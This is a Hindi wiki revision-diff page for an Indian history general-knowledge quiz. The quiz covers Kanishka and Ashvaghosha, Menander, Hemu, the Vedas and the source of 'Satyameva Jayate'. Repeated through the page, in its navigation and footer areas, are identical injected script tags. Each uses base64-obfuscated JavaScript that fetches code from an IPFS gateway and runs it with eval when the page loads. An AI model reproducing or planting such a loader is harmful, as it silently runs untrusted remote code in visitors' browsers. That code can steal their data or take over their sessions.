"इतिहास सामान्य ज्ञान 8" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
(3 सदस्यों द्वारा किये गये बीच के 4 अवतरण नहीं दर्शाए गए)
पंक्ति 8: पंक्ति 8:
 
|
 
|
 
<quiz display=simple>
 
<quiz display=simple>
{प्रसिद्ध विद्वान [[अश्वघोष]] किसके शासनकाल में हुआ?
+
{प्रसिद्ध विद्वान् [[अश्वघोष]] किसके शासनकाल में हुआ?
 
|type="()"}
 
|type="()"}
 
-[[अशोक]]
 
-[[अशोक]]
पंक्ति 14: पंक्ति 14:
 
+[[कनिष्क]]
 
+[[कनिष्क]]
 
-[[पुष्यमित्र शुंग]]
 
-[[पुष्यमित्र शुंग]]
||[[चित्र:Kanishka-Coin.jpg|right|100px|कनिष्क का सिक्का]]'कनिष्क' के राज्यारोहण के समय [[कुषाण साम्राज्य]] में [[अफ़ग़ानिस्तान]], [[सिंध]] का भाग, [[बैक्ट्रिया]] एवं [[पार्थिया]] के प्रदेश सम्मिलित थे। [[कनिष्क]] ने [[भारत]] में अपना राज्य [[मगध]] तक विस्तृत कर दिया था। वहाँ से वह प्रसिद्ध विद्वान [[अश्वघोष]] को अपनी राजधानी [[पुरुषपुर]] ले आया। [[तिब्बत]] और [[चीन]] के कुछ लेखकों ने लिखा है कि उसका [[साकेत]] और [[पाटलिपुत्र]] के राजाओं से युद्ध हुआ था। [[कश्मीर]] को अपने राज्य में मिलाकर कनिष्क ने वहाँ एक नगर बसाया था, जिसे 'कनिष्कपुर' कहते हैं। शायद कनिष्क ने [[उज्जैन]] के [[क्षत्रप]] को भी हराया और [[मालवा]] का प्रान्त प्राप्त किया था।{{point}}अधिक जानकारी के देखें:-[[कनिष्क]]
+
||[[चित्र:Kanishka-Coin.jpg|right|100px|कनिष्क का सिक्का]]'कनिष्क' के राज्यारोहण के समय [[कुषाण साम्राज्य]] में [[अफ़ग़ानिस्तान]], [[सिंध]] का भाग, [[बैक्ट्रिया]] एवं [[पार्थिया]] के प्रदेश सम्मिलित थे। [[कनिष्क]] ने [[भारत]] में अपना राज्य [[मगध]] तक विस्तृत कर दिया था। वहाँ से वह प्रसिद्ध विद्वान् [[अश्वघोष]] को अपनी राजधानी [[पुरुषपुर]] ले आया। [[तिब्बत]] और [[चीन]] के कुछ लेखकों ने लिखा है कि उसका [[साकेत]] और [[पाटलिपुत्र]] के राजाओं से युद्ध हुआ था। [[कश्मीर]] को अपने राज्य में मिलाकर कनिष्क ने वहाँ एक नगर बसाया था, जिसे 'कनिष्कपुर' कहते हैं। शायद कनिष्क ने [[उज्जैन]] के [[क्षत्रप]] को भी हराया और [[मालवा]] का प्रान्त प्राप्त किया था। - अधिक जानकारी के देखें:-[[कनिष्क]]
  
 
{[[कुषाण वंश]] के वृक्ष का पता चलता है-
 
{[[कुषाण वंश]] के वृक्ष का पता चलता है-
पंक्ति 23: पंक्ति 23:
 
-शोडाष अभिलेख से
 
-शोडाष अभिलेख से
  
{'[[मिलिन्द]]' किस [[हिन्दी]]-[[यूनानी]] राजा को कहा गया है?
+
{'[[मिलिन्द]]' किस [[हिन्दू|हिन्दी]]-[[यूनानी]] राजा को कहा गया है?
 
|type="()"}
 
|type="()"}
 
-मिरेकस
 
-मिरेकस
पंक्ति 29: पंक्ति 29:
 
-[[डेमेट्रियस]]
 
-[[डेमेट्रियस]]
 
-[[महापद्मनंद]]  
 
-[[महापद्मनंद]]  
||[[चित्र:Menander-Coin.jpg|right|140px|मिलिन्द का सिक्का]]'मिलिन्द' [[पंजाब]] पर लगभग 160 ई. पू. से 140 ई. पू. तक राज्य करने वाले [[यवन]] राजाओं में सबसे उल्लेखनीय राजा था। इसे [[मिलिंद (मिनांडर)|मिलिंद]] के अतिरिक्त अन्य नामों, जैसे- 'मनेन्दर', 'मीनेंडर' या 'मीनांडर' आदि से भी जाना जाता था। इसके विविध प्रकार के बहुत से सिक्के [[उत्तर भारत]] के विस्तृत क्षेत्रों में, यहाँ तक की [[यमुना नदी]] के दक्षिण में भी मिलते हैं। सम्भव है कि 'गार्गी संहिता' में जिस दुरात्मा वीर यवन राजा द्वारा [[प्रयाग]] पर अधिकार करके कुसुमपुर (अर्थात [[पाटलिपुत्र]]) में भय उत्पन्न करने का उल्लेख है, वह मिलिन्द ही हो।{{point}}अधिक जानकारी के देखें:-[[मिलिंद (मिनांडर)]]
+
||[[चित्र:Menander-Coin.jpg|right|140px|मिलिन्द का सिक्का]]'मिलिन्द' [[पंजाब]] पर लगभग 160 ई. पू. से 140 ई. पू. तक राज्य करने वाले [[यवन]] राजाओं में सबसे उल्लेखनीय राजा था। इसे [[मिलिंद (मिनांडर)|मिलिंद]] के अतिरिक्त अन्य नामों, जैसे- 'मनेन्दर', 'मीनेंडर' या 'मीनांडर' आदि से भी जाना जाता था। इसके विविध प्रकार के बहुत से सिक्के [[उत्तर भारत]] के विस्तृत क्षेत्रों में, यहाँ तक की [[यमुना नदी]] के दक्षिण में भी मिलते हैं। सम्भव है कि 'गार्गी संहिता' में जिस दुरात्मा वीर यवन राजा द्वारा [[प्रयाग]] पर अधिकार करके कुसुमपुर (अर्थात् [[पाटलिपुत्र]]) में भय उत्पन्न करने का उल्लेख है, वह मिलिन्द ही हो। - अधिक जानकारी के देखें:-[[मिलिंद (मिनांडर)]]
  
 
{[[शेरशाह]] के बाद और [[अकबर]] से पहले [[दिल्ली]] पर राज करने वाले [[हिन्दू]] राजा का नाम क्या था?
 
{[[शेरशाह]] के बाद और [[अकबर]] से पहले [[दिल्ली]] पर राज करने वाले [[हिन्दू]] राजा का नाम क्या था?
पंक्ति 37: पंक्ति 37:
 
-[[भोज]]
 
-[[भोज]]
 
-[[पुष्यमित्र शुंग|पुष्यमित्र]]
 
-[[पुष्यमित्र शुंग|पुष्यमित्र]]
||[[चित्र:Hemchandra-Vikramaditya.jpg|right|100px|हेमचन्द्र विक्रमादित्य]]'हेमू' [[भारत]] का अंतिम [[हिन्दू]] राजा था। "मध्यकालीन भारत का नेपोलियन" कहा जाने वाला [[हेमू]] अपनी असाधारण प्रतिभा के बल पर एक साधारण व्यापारी से प्रधानमंत्री एवं सेनाध्यक्ष की पदवी तक पहुँचा था। [[हुमायूँ]] की मृत्यु के बाद हेमू ने [[दिल्ली]] की तरफ़ रुख किया और रास्ते में [[बंगाल (आज़ादी से पूर्व)|बंगाल]], [[बिहार]], [[उत्तर प्रदेश]] एवं [[मध्य प्रदेश]] की कई रियासतों को फ़तेह किया। [[आगरा]] में [[मुग़ल]] सेनानायक इस्कंदर ख़ान उज़्बेग को जब पता चला कि हेमू उनकी तरफ़ आ रहा है तो वह बिना युद्ध किये ही मैदान छोड़ कर भाग गया। [[7 अक्टूबर]], 1556 ई. में हेमू ने तरदी बेग ख़ान को हराकर दिल्ली पर विजय हासिल की। यहीं हेमू का राज्याभिषेक हुआ और उसे 'विक्रमादित्य' की उपाधि से नवाजा गया। लगभग तीन शताब्दियों के [[मुस्लिम]] शासन के बाद पहली बार कोई [[हिन्दू]] दिल्ली का राजा बना था।{{point}}अधिक जानकारी के देखें:-[[हेमू]]
+
||[[चित्र:Hemchandra-Vikramaditya.jpg|right|100px|हेमचन्द्र विक्रमादित्य]]'हेमू' [[भारत]] का अंतिम [[हिन्दू]] राजा था। "मध्यकालीन भारत का नेपोलियन" कहा जाने वाला [[हेमू]] अपनी असाधारण प्रतिभा के बल पर एक साधारण व्यापारी से प्रधानमंत्री एवं सेनाध्यक्ष की पदवी तक पहुँचा था। [[हुमायूँ]] की मृत्यु के बाद हेमू ने [[दिल्ली]] की तरफ़ रुख किया और रास्ते में [[बंगाल (आज़ादी से पूर्व)|बंगाल]], [[बिहार]], [[उत्तर प्रदेश]] एवं [[मध्य प्रदेश]] की कई रियासतों को फ़तेह किया। [[आगरा]] में [[मुग़ल]] सेनानायक इस्कंदर ख़ान उज़्बेग को जब पता चला कि हेमू उनकी तरफ़ आ रहा है तो वह बिना युद्ध किये ही मैदान छोड़ कर भाग गया। [[7 अक्टूबर]], 1556 ई. में हेमू ने तरदी बेग ख़ान को हराकर दिल्ली पर विजय हासिल की। यहीं हेमू का राज्याभिषेक हुआ और उसे 'विक्रमादित्य' की उपाधि से नवाजा गया। लगभग तीन शताब्दियों के [[मुस्लिम]] शासन के बाद पहली बार कोई [[हिन्दू]] दिल्ली का राजा बना था। - अधिक जानकारी के देखें:-[[हेमू]]
  
 
{'[[आर्य]]' शब्द का शाब्दिक अर्थ क्या है?
 
{'[[आर्य]]' शब्द का शाब्दिक अर्थ क्या है?
पंक्ति 45: पंक्ति 45:
 
-यज्ञकर्ता या [[पुरोहित]]
 
-यज्ञकर्ता या [[पुरोहित]]
 
-विद्धान
 
-विद्धान
||'आर्य' प्रजाति की आदि भूमि के संबंध में अभी तक विद्वानों में बहुत मतभेद हैं। भाषा वैज्ञानिक अध्ययन के प्रारंभ में प्राय: [[भाषा]] और प्रजाति को अभिन्न मानकर एकोद्भव (मोनोजेनिक) सिद्धांत का प्रतिपादन हुआ और माना गया कि भारोपीय भाषाओं के बोलने वालों के पूर्वज कहीं एक ही स्थान में रहते थे और वहीं से विभिन्न देशों में गए। [[संस्कृत भाषा]] के शब्द 'आर्य' का अर्थ होता था- '[[कुलीन]] और सभ्य'। इसलिये पुराने इतिहासकारों, जैसे [[मैक्समूलर]] ने आदिम और आधुनिक हिन्द-यूरोपीय भाषा बोलने वाली जातियों का नाम "[[आर्य]]" रख दिया। ये नाम यूरोपीय लोगों को काफ़ी पसन्द आया और जल्द ही सभी यूरोप वासियों ने अपने-अपने देशों को प्रचीन आर्यों की जन्मभूमि बताना शुरू कर दिया।{{point}}अधिक जानकारी के देखें:-[[आर्य]]
+
||'आर्य' प्रजाति की आदि भूमि के संबंध में अभी तक विद्वानों में बहुत मतभेद हैं। भाषा वैज्ञानिक अध्ययन के प्रारंभ में प्राय: [[भाषा]] और प्रजाति को अभिन्न मानकर एकोद्भव (मोनोजेनिक) सिद्धांत का प्रतिपादन हुआ और माना गया कि भारोपीय भाषाओं के बोलने वालों के पूर्वज कहीं एक ही स्थान में रहते थे और वहीं से विभिन्न देशों में गए। [[संस्कृत भाषा]] के शब्द 'आर्य' का अर्थ होता था- '[[कुलीन]] और सभ्य'। इसलिये पुराने इतिहासकारों, जैसे [[मैक्समूलर]] ने आदिम और आधुनिक हिन्द-यूरोपीय भाषा बोलने वाली जातियों का नाम "[[आर्य]]" रख दिया। ये नाम यूरोपीय लोगों को काफ़ी पसन्द आया और जल्द ही सभी यूरोप वासियों ने अपने-अपने देशों को प्रचीन आर्यों की जन्मभूमि बताना शुरू कर दिया। - अधिक जानकारी के देखें:-[[आर्य]]
 
 
{निम्नलिखित में से किस फ़सल का ज्ञान [[वैदिक काल]] के लोगों को नहीं था?
 
|type="()"}
 
-[[जौ]]
 
-[[गेहूँ]]
 
-[[चावल]]
 
+[[तम्बाकू]]
 
||[[चित्र:Tobacc-Plant.jpg|right|100px|तम्बाकू का पौधा]]'तम्बाकू' की उत्पत्ति कब और कहाँ हुई, इसका ठीक पता नहीं चलता। कहते हैं कि एक बार [[पुर्तग़ाल]] स्थित [[फ्राँसीसी]] राजदूत 'जॉन निकोट' ने अपनी रानी के पास [[तम्बाकू]] का बीज भेजा और तभी से इस पौधे का प्रवेश प्राचीन संसार में हुआ। निकोट के नाम को अमर रखने के लिये तम्बाकू का वानस्पतिक नाम 'निकोशियाना' रखा गया। तम्बाकू [[दक्षिणी अमेरिका]] का पौधा माना जाता है। इसकी खेती ऐतिहासिक काल से होती चली आ रही है। यद्यपि तम्बाकू अयनवृत्तीय पौधा है, तथापि इसकी सफल खेती अन्य स्थानों में भी होती है, क्योंकि यह अपने को विभिन्न प्रकार की भूमि तथा जलवायु के अनुकूल बना लेता है।{{point}}अधिक जानकारी के देखें:-[[तम्बाकू]]
 
 
 
{निम्नलिखित में से वैदिक गणित का महत्त्वपूर्ण अंग कौन है?
 
|type="()"}
 
-[[शतपथ ब्राह्मण]]
 
-[[अथर्ववेद]]
 
+शुल्व सूत्र
 
-[[छांदोग्य उपनिषद]]
 
 
 
{किस [[वेद]] में प्राचीन वैदिक युग की [[संस्कृति]] के बारे में सूचना दी गई हैं?
 
|type="()"}
 
+[[ऋग्वेद]]
 
-[[यजुर्वेद]]
 
-[[अथर्ववेद]]
 
-[[सामवेद]]
 
||'ऋग्वेद' सबसे प्राचीनतम [[ग्रंथ]] माना जाता है। 'ऋक' का अर्थ होता है- 'छन्दोबद्ध रचना' या '[[श्लोक]]'। [[ऋग्वेद]] के सूक्त विविध [[देवता|देवताओं]] की स्तुति करने वाले भाव भरे गीत हैं। इनमें भक्तिभाव की प्रधानता है। यद्यपि ऋग्वेद में अन्य प्रकार के सूक्त भी हैं, परन्तु देवताओं की स्तुति करने वाले स्रोतों की प्रधानता है। ऋग्वेद में कुल दस मण्डल हैं और उनमें 1,029 सूक्त हैं और कुल 10,580 ऋचाएँ हैं। ये स्तुति [[मन्त्र]] हैं।{{point}}अधिक जानकारी के देखें:-[[ऋग्वेद]]
 
 
 
{[[वेद|वेदों]] की संख्या कितनी है?
 
|type="()"}
 
-दो
 
-तीन
 
+चार
 
-आठ
 
||[[चित्र:Ved-merge.jpg|right|100px|वेद]]'वेद' [[हिन्दू धर्म]] के प्राचीन पवित्र ग्रंथों का नाम है, इससे वैदिक संस्कृति प्रचलित हुई। ऐसी मान्यता है कि इनके मन्त्रों को परमेश्वर ने प्राचीन ऋषियों को अप्रत्यक्ष रूप से सुनाया था। इसलिए [[वेद|वेदों]] को 'श्रुति' भी कहा जाता है। चार वेदों में [[सामवेद]] का नाम तीसरे क्रम में आता है। लेकिन [[ऋग्वेद]] के एक मन्त्र में ऋग्वेद से भी पहले सामवेद का नाम आने से कुछ विद्वान वेदों को एक के बाद एक रचना न मानकर प्रत्येक को स्वतंत्र रचना मानते हैं। सामवेद में गेय [[छंद|छंदों]] की अधिकता है, जिनका गान [[यज्ञ|यज्ञों]] के समय होता था। [[यजुर्वेद]] में यज्ञ की असल प्रक्रिया के लिये गद्य मन्त्र हैं। यह वेद मुख्यतः [[क्षत्रिय|क्षत्रियों]] के लिये होता था।{{point}}अधिक जानकारी के देखें:-[[वेद]]
 
 
 
{[[भारत]] के राजचिह्न में प्रयुक्त होने वाला शब्द '[[सत्यमेव जयते]]' किस [[उपनिषद]] से लिया गया है?
 
|type="()"}
 
+[[मुण्डकोपनिषद]]
 
-[[कठोपनिषद]]
 
-ईश उपनिषद
 
-[[बृहदारण्यकोपनिषद]]
 
||'मुण्डकोपनिषद' [[अथर्ववेद]] की शौनकीय शाखा से सम्बन्धित है। इसमें अक्षर ब्रह्म [[ॐ]] का विशद विवेचन किया गया है। इसे 'मन्त्रोपनिषद' नाम से भी पुकारा जाता है। इसमें तीन मुण्डक हैं और प्रत्येक मुण्डक के दो-दो खण्ड हैं तथा कुल चौंसठ [[मन्त्र]] हैं। 'मुण्डक' का अर्थ है- 'मस्तिष्क को अत्यधिक शक्ति प्रदान करने वाला और उसे अविद्या-रूपी अन्धकार से मुक्त करने वाला'। इस उपनिषद में [[अंगिरा|महर्षि अंगिरा]] ने शौनक को 'परा-[[अपरा विद्या|अपरा]]' विद्या का ज्ञान कराया है। [[भारत]] के [[राष्ट्रीय चिह्न और प्रतीक|राष्ट्रीय चिह्न]] में अंकित शब्द 'सत्यमेव जयते' मुण्डकोपनिषद से ही लिये गए हैं।{{point}}अधिक जानकारी के देखें:-[[मुण्डकोपनिषद]]
 
 
</quiz>
 
</quiz>
 
|}
 
|}

13:32, 15 फ़रवरी 2023 के समय का अवतरण

सामान्य ज्ञान प्रश्नोत्तरी
राज्यों के सामान्य ज्ञान

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इस विषय से संबंधित लेख पढ़ें:- इतिहास प्रांगण, इतिहास कोश, ऐतिहासिक स्थान कोश<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने पर जाएँ
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213| 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237| 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | 368 | 369 | 370 | 371 | 372 | 373 | 374 | 375 | 376 | 377 | 378 | 379 | 380 | 381 | 382 | 383 | 384 | 385 | 386 | 387 | 388 | 389 | 390 | 391 | 392 | 393 | 394 | 395 | 396 | 397 | 398 | 399 | 400 | 401 | 402 | 403 | 404 | 405 | 406 | 407 | 408 | 409 | 410 | 411 | 412 | 413 | 414 | 415 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | 423 | 424 | 425 | 426 | 427 | 428 | 429 | 430 | 431 | 432 | 433 | 434 | 435 | 436 | 437 | 438 | 439 | 440 | 441 | 442 | 443 | 444 | 445 | 446 | 447 | 448 | 449 | 450 | 451 | 452 | 453 | 454 | 455 | 456 | 457 | 458 | 459 | 460 | 461 | 462 | 463 | 464 | 465 | 466 | 467 | 468 | 469 | 470 | 471 | 472 | 473 | 474 | 475 | 476 | 477 | 478 | 479 | 480 | 481 | 482 | 483 | 484 | 485 | 486 | 487 | 488 | 489 | 490 | 491 | 492 | 493 | 494 | 495 | 496 | 497 | 498 | 499 | 500 | 501 | 502 | 503 | 504 | 505 | 506 | 507 | 508 | 509 | 510 | 511 | 512 | 513 | 514 | 515 | 516 | 517 | 518 | 519 | 520 | 521 | 522 | 523 | 524 | 525 | 526 | 527 | 528 | 529 | 530 | 531 | 532 | 533 | 534 | 535 | 536 | 537 | 538 | 539 | 540 | 541 | 542 | 543 | 544 | 545 | 546 | 547 | 548 | 549 | 550 | 551 | 552 | 553 | 554 | 555 | 556 | 557 | 558 | 559 | 560 | 561 | 562 | 563 | 564 | 565 | 566

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

1 प्रसिद्ध विद्वान् अश्वघोष किसके शासनकाल में हुआ?

अशोक
हर्षवर्धन
कनिष्क
पुष्यमित्र शुंग

2 कुषाण वंश के वृक्ष का पता चलता है-

राबाटक अभिलेख से
रोसेटा अभिलेख से
हाथी गुम्फा अभिलेख से
शोडाष अभिलेख से

4 शेरशाह के बाद और अकबर से पहले दिल्ली पर राज करने वाले हिन्दू राजा का नाम क्या था?

पृथ्वीराज
हेमू
भोज
पुष्यमित्र

5 'आर्य' शब्द का शाब्दिक अर्थ क्या है?

वीर या योद्धा
श्रेष्ठ या कुलीन
यज्ञकर्ता या पुरोहित
विद्धान

पन्ने पर जाएँ
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213| 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237| 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | 368 | 369 | 370 | 371 | 372 | 373 | 374 | 375 | 376 | 377 | 378 | 379 | 380 | 381 | 382 | 383 | 384 | 385 | 386 | 387 | 388 | 389 | 390 | 391 | 392 | 393 | 394 | 395 | 396 | 397 | 398 | 399 | 400 | 401 | 402 | 403 | 404 | 405 | 406 | 407 | 408 | 409 | 410 | 411 | 412 | 413 | 414 | 415 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | 423 | 424 | 425 | 426 | 427 | 428 | 429 | 430 | 431 | 432 | 433 | 434 | 435 | 436 | 437 | 438 | 439 | 440 | 441 | 442 | 443 | 444 | 445 | 446 | 447 | 448 | 449 | 450 | 451 | 452 | 453 | 454 | 455 | 456 | 457 | 458 | 459 | 460 | 461 | 462 | 463 | 464 | 465 | 466 | 467 | 468 | 469 | 470 | 471 | 472 | 473 | 474 | 475 | 476 | 477 | 478 | 479 | 480 | 481 | 482 | 483 | 484 | 485 | 486 | 487 | 488 | 489 | 490 | 491 | 492 | 493 | 494 | 495 | 496 | 497 | 498 | 499 | 500 | 501 | 502 | 503 | 504 | 505 | 506 | 507 | 508 | 509 | 510 | 511 | 512 | 513 | 514 | 515 | 516 | 517 | 518 | 519 | 520 | 521 | 522 | 523 | 524 | 525 | 526 | 527 | 528 | 529 | 530 | 531 | 532 | 533 | 534 | 535 | 536 | 537 | 538 | 539 | 540 | 541 | 542 | 543 | 544 | 545 | 546 | 547 | 548 | 549 | 550 | 551 | 552 | 553 | 554 | 555 | 556 | 557 | 558 | 559 | 560 | 561 | 562 | 563 | 564 | 565 | 566

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

सामान्य ज्ञान प्रश्नोत्तरी
राज्यों के सामान्य ज्ञान

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>